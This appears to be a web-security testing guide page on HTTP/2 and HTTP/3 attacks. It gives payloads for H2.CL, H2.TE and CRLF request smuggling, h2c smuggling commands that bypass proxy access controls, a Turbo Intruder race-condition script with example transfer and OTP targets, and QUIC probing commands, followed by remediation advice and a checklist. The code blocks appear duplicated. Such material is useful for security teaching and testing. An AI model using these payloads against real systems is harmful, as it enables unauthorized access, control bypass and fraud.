HTTP/2 & HTTP/3 Specific Attacks
HTTP/2's binary framing, multiplexing, and header compression introduce attack vectors that don't exist in HTTP/1.1. HTTP/3 (QUIC) adds UDP-based transport with its own security considerations.
Why This Matters
The request smuggling page covers HTTP/1.1 Content-Length / Transfer-Encoding
desync only. HTTP/2 introduces entirely new smuggling primitives based on binary framing, pseudo-headers,
and protocol downgrade. Many organizations proxy HTTP/2 to HTTP/1.1 backends — a prime smuggling surface.
Protocol Comparison
| Feature | HTTP/1.1 | HTTP/2 | HTTP/3 |
|---|---|---|---|
| Transport | TCP | TCP + TLS | QUIC (UDP + TLS 1.3) |
| Framing | Text-based | Binary frames | Binary frames |
| Multiplexing | No (pipelining, rarely used) | Yes (streams) | Yes (independent streams) |
| Header Compression | None | HPACK | QPACK |
| Server Push | No | Yes (deprecated in Chrome) | Yes (rarely used) |
| Smuggling Surface | CL/TE desync | H2→H1 downgrade, pseudo-headers | Less studied, emerging |
🛠️ Tools
Burp Suite (HTTP/2)
Native HTTP/2 support, Inspector tab shows pseudo-headers
curl (HTTP/2 & /3)
curl --http2, curl --http3
Wireshark
HTTP/2 frame-level inspection with SSLKEYLOGFILE
1. HTTP/2 Request Smuggling (H2→H1 Desync)
When a front-end speaks HTTP/2 to clients but downgrades to HTTP/1.1 when forwarding to backends, the translation process creates smuggling opportunities. HTTP/2's binary framing means there's no ambiguity in message boundaries within H2 itself — the vulnerability arises in the downgrade translation.
Warning
H2.CL Desync
# HTTP/2 request with mismatched Content-Length
# The front-end processes the H2 frame length (binary, unambiguous)
# But when downgrading to H1, it forwards the Content-Length header as-is
# In Burp Suite (HTTP/2 Inspector):
:method: POST
:path: /
:authority: target.com
content-type: application/x-www-form-urlencoded
content-length: 0
GET /admin HTTP/1.1
Host: target.com
# The H2 front-end sees the full body as part of one request
# The H1 backend sees Content-Length: 0, treats the rest as a NEW request
# Result: The "GET /admin" is processed as a separate request# HTTP/2 request with mismatched Content-Length
# The front-end processes the H2 frame length (binary, unambiguous)
# But when downgrading to H1, it forwards the Content-Length header as-is
# In Burp Suite (HTTP/2 Inspector):
:method: POST
:path: /
:authority: target.com
content-type: application/x-www-form-urlencoded
content-length: 0
GET /admin HTTP/1.1
Host: target.com
# The H2 front-end sees the full body as part of one request
# The H1 backend sees Content-Length: 0, treats the rest as a NEW request
# Result: The "GET /admin" is processed as a separate requestH2.TE Desync
# HTTP/2 technically forbids Transfer-Encoding, but some front-ends
# still forward it during downgrade
# In Burp Suite (HTTP/2 Inspector):
:method: POST
:path: /
:authority: target.com
content-type: application/x-www-form-urlencoded
transfer-encoding: chunked
0
GET /admin HTTP/1.1
Host: target.com
# The H2 front-end ignores Transfer-Encoding (it uses frame lengths)
# After downgrade, the H1 backend processes Transfer-Encoding: chunked
# "0
" terminates the chunked body, smuggling the second request# HTTP/2 technically forbids Transfer-Encoding, but some front-ends
# still forward it during downgrade
# In Burp Suite (HTTP/2 Inspector):
:method: POST
:path: /
:authority: target.com
content-type: application/x-www-form-urlencoded
transfer-encoding: chunked
0
GET /admin HTTP/1.1
Host: target.com
# The H2 front-end ignores Transfer-Encoding (it uses frame lengths)
# After downgrade, the H1 backend processes Transfer-Encoding: chunked
# "0
" terminates the chunked body, smuggling the second requestH2 Header Injection via CRLF
# HTTP/2 headers are binary — they CAN contain characters
# that would be invalid in HTTP/1.1 (like
)
# During downgrade, these become header injections
# In Burp Suite (HTTP/2 Inspector), set a header value containing CRLF:
:method: GET
:path: /
:authority: target.com
header: value
Injected-Header: evil
GET /admin HTTP/1.1
Host: target.com
# After H2→H1 downgrade, the backend sees:
# header: value
# Injected-Header: evil
#
# GET /admin HTTP/1.1
# Host: target.com
# This is a powerful primitive for request smuggling and header injection# HTTP/2 headers are binary — they CAN contain characters
# that would be invalid in HTTP/1.1 (like
)
# During downgrade, these become header injections
# In Burp Suite (HTTP/2 Inspector), set a header value containing CRLF:
:method: GET
:path: /
:authority: target.com
header: value
Injected-Header: evil
GET /admin HTTP/1.1
Host: target.com
# After H2→H1 downgrade, the backend sees:
# header: value
# Injected-Header: evil
#
# GET /admin HTTP/1.1
# Host: target.com
# This is a powerful primitive for request smuggling and header injection2. HTTP/2 Cleartext (h2c) Smuggling
h2c smuggling abuses the HTTP/1.1 Upgrade mechanism to establish HTTP/2 cleartext connections through reverse proxies that don't understand h2c. This can bypass access controls applied at the proxy layer.
# h2c Upgrade smuggling — bypass reverse proxy access controls
# The proxy sees an Upgrade request and tunnels the connection
# without applying URL-based access controls to subsequent H2 requests
# Using h2csmuggler:
python3 h2csmuggler.py -x https://target.com/ --test # Test if h2c upgrade is supported
# Smuggle a request to /admin (blocked at proxy, allowed via h2c):
python3 h2csmuggler.py -x https://target.com/ -X GET -l https://target.com/admin
# Manual h2c upgrade request:
curl -v --http2 -H "Upgrade: h2c" -H "HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA" -H "Connection: Upgrade, HTTP2-Settings" https://target.com/
# If the proxy forwards the Upgrade, you get a direct H2 connection
# to the backend, bypassing proxy-layer WAF/ACL rules# h2c Upgrade smuggling — bypass reverse proxy access controls
# The proxy sees an Upgrade request and tunnels the connection
# without applying URL-based access controls to subsequent H2 requests
# Using h2csmuggler:
python3 h2csmuggler.py -x https://target.com/ --test # Test if h2c upgrade is supported
# Smuggle a request to /admin (blocked at proxy, allowed via h2c):
python3 h2csmuggler.py -x https://target.com/ -X GET -l https://target.com/admin
# Manual h2c upgrade request:
curl -v --http2 -H "Upgrade: h2c" -H "HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA" -H "Connection: Upgrade, HTTP2-Settings" https://target.com/
# If the proxy forwards the Upgrade, you get a direct H2 connection
# to the backend, bypassing proxy-layer WAF/ACL rules3. Single-Packet Attack (Race Conditions)
HTTP/2 multiplexing allows sending multiple requests in a single TCP packet, enabling precise race condition exploitation. All requests arrive at the server simultaneously, eliminating network jitter.
# Single-packet attack using Turbo Intruder (Burp extension)
# This sends 20+ requests in a single TCP packet for race condition exploitation
# Turbo Intruder script for single-packet attack:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=100,
pipeline=False,
engine=Engine.HTTP2)
# Queue requests that should arrive simultaneously
for i in range(20):
engine.queue(target.req, gate='race1')
# Open the gate — all requests sent in one packet
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)# Single-packet attack using Turbo Intruder (Burp extension)
# This sends 20+ requests in a single TCP packet for race condition exploitation
# Turbo Intruder script for single-packet attack:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=100,
pipeline=False,
engine=Engine.HTTP2)
# Queue requests that should arrive simultaneously
for i in range(20):
engine.queue(target.req, gate='race1')
# Open the gate — all requests sent in one packet
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)# Race condition targets worth testing with single-packet attack:
# 1. Coupon/discount code redemption
POST /api/apply-coupon HTTP/2
Content-Type: application/json
{"code": "DISCOUNT50"}
# 2. Rate-limited actions (password reset, OTP verification)
POST /api/verify-otp HTTP/2
Content-Type: application/json
{"otp": "123456"}
# 3. Balance/transfer operations
POST /api/transfer HTTP/2
Content-Type: application/json
{"to": "attacker", "amount": 100}
# 4. File/resource creation (race to create duplicate unique resources)
POST /api/claim-username HTTP/2
Content-Type: application/json
{"username": "admin"}# Race condition targets worth testing with single-packet attack:
# 1. Coupon/discount code redemption
POST /api/apply-coupon HTTP/2
Content-Type: application/json
{"code": "DISCOUNT50"}
# 2. Rate-limited actions (password reset, OTP verification)
POST /api/verify-otp HTTP/2
Content-Type: application/json
{"otp": "123456"}
# 3. Balance/transfer operations
POST /api/transfer HTTP/2
Content-Type: application/json
{"to": "attacker", "amount": 100}
# 4. File/resource creation (race to create duplicate unique resources)
POST /api/claim-username HTTP/2
Content-Type: application/json
{"username": "admin"}4. HTTP/3 & QUIC Considerations
Information
# Detect HTTP/3 support
curl -sI https://target.com | grep -i alt-svc
# Look for: alt-svc: h3=":443"; ma=86400
# Test with HTTP/3 (requires curl built with HTTP/3 support)
curl --http3 -v https://target.com
# QUIC-specific considerations:
# 1. UDP-based — different firewall/IDS rules may apply
# Some WAFs only inspect TCP traffic, missing QUIC entirely
# 2. Connection migration — QUIC connections survive IP changes
# Could bypass IP-based rate limiting
# 3. 0-RTT resumption — replay attacks possible
# Server must implement anti-replay for 0-RTT data
# Using quiche (Cloudflare's QUIC implementation) for testing:
cargo build --examples
./target/debug/examples/http3-client https://target.com/
# Nmap QUIC detection:
nmap -sU -p 443 --script=http3-supported target.com# Detect HTTP/3 support
curl -sI https://target.com | grep -i alt-svc
# Look for: alt-svc: h3=":443"; ma=86400
# Test with HTTP/3 (requires curl built with HTTP/3 support)
curl --http3 -v https://target.com
# QUIC-specific considerations:
# 1. UDP-based — different firewall/IDS rules may apply
# Some WAFs only inspect TCP traffic, missing QUIC entirely
# 2. Connection migration — QUIC connections survive IP changes
# Could bypass IP-based rate limiting
# 3. 0-RTT resumption — replay attacks possible
# Server must implement anti-replay for 0-RTT data
# Using quiche (Cloudflare's QUIC implementation) for testing:
cargo build --examples
./target/debug/examples/http3-client https://target.com/
# Nmap QUIC detection:
nmap -sU -p 443 --script=http3-supported target.comQUIC Attack Surface
| Attack Vector | Description | Impact |
|---|---|---|
| 0-RTT Replay | Replaying early data in QUIC 0-RTT handshakes | Replay sensitive operations (transfers, state changes) |
| UDP Amplification | QUIC initial packets may trigger amplified responses | DDoS reflection/amplification |
| Connection Migration | QUIC connections survive IP/port changes | Bypass IP-based access controls |
| WAF Bypass | WAFs that only inspect TCP miss QUIC traffic | Unfiltered access to backend |
| QPACK Compression | Similar to HPACK but less studied | Potential CRIME-like attacks (theoretical) |
🛡️ Remediation & Defense
Defensive Measures
HTTP/2 Hardening
- • Use end-to-end HTTP/2 (avoid H2→H1 downgrade)
- • Normalize or reject H2 requests with invalid headers during downgrade
- • Strip
Transfer-Encodingfrom H2 requests - • Validate
Content-Lengthmatches actual body in downgrade - • Disable h2c upgrades at the proxy (reject
Upgrade: h2c) - • Apply access controls at backend, not just proxy
HTTP/3 & QUIC Hardening
- • Implement anti-replay mechanisms for 0-RTT data
- • Restrict 0-RTT to idempotent requests only
- • Ensure WAF/IDS inspects QUIC traffic
- • Apply rate limiting per connection ID, not just IP
- • Validate connection migration tokens
- • Set appropriate
Alt-Svcmax-age values
CWE References: CWE-444 (HTTP Request/Response Smuggling), CWE-436 (Interpretation Conflict), CWE-362 (Race Condition)
✅ HTTP/2 & HTTP/3 Testing Checklist
- ☐ Identify H2 support (ALPN negotiation)
- ☐ Check for H3/QUIC (Alt-Svc header)
- ☐ Detect H2→H1 downgrade architecture
- ☐ Test h2c upgrade support
- ☐ Test H2.CL desync
- ☐ Test H2.TE desync
- ☐ Test CRLF injection in H2 headers
- ☐ Test pseudo-header manipulation
- ☐ Test single-packet race conditions
- ☐ h2c smuggling for ACL bypass
- ☐ 0-RTT replay testing
- ☐ Check WAF UDP/QUIC inspection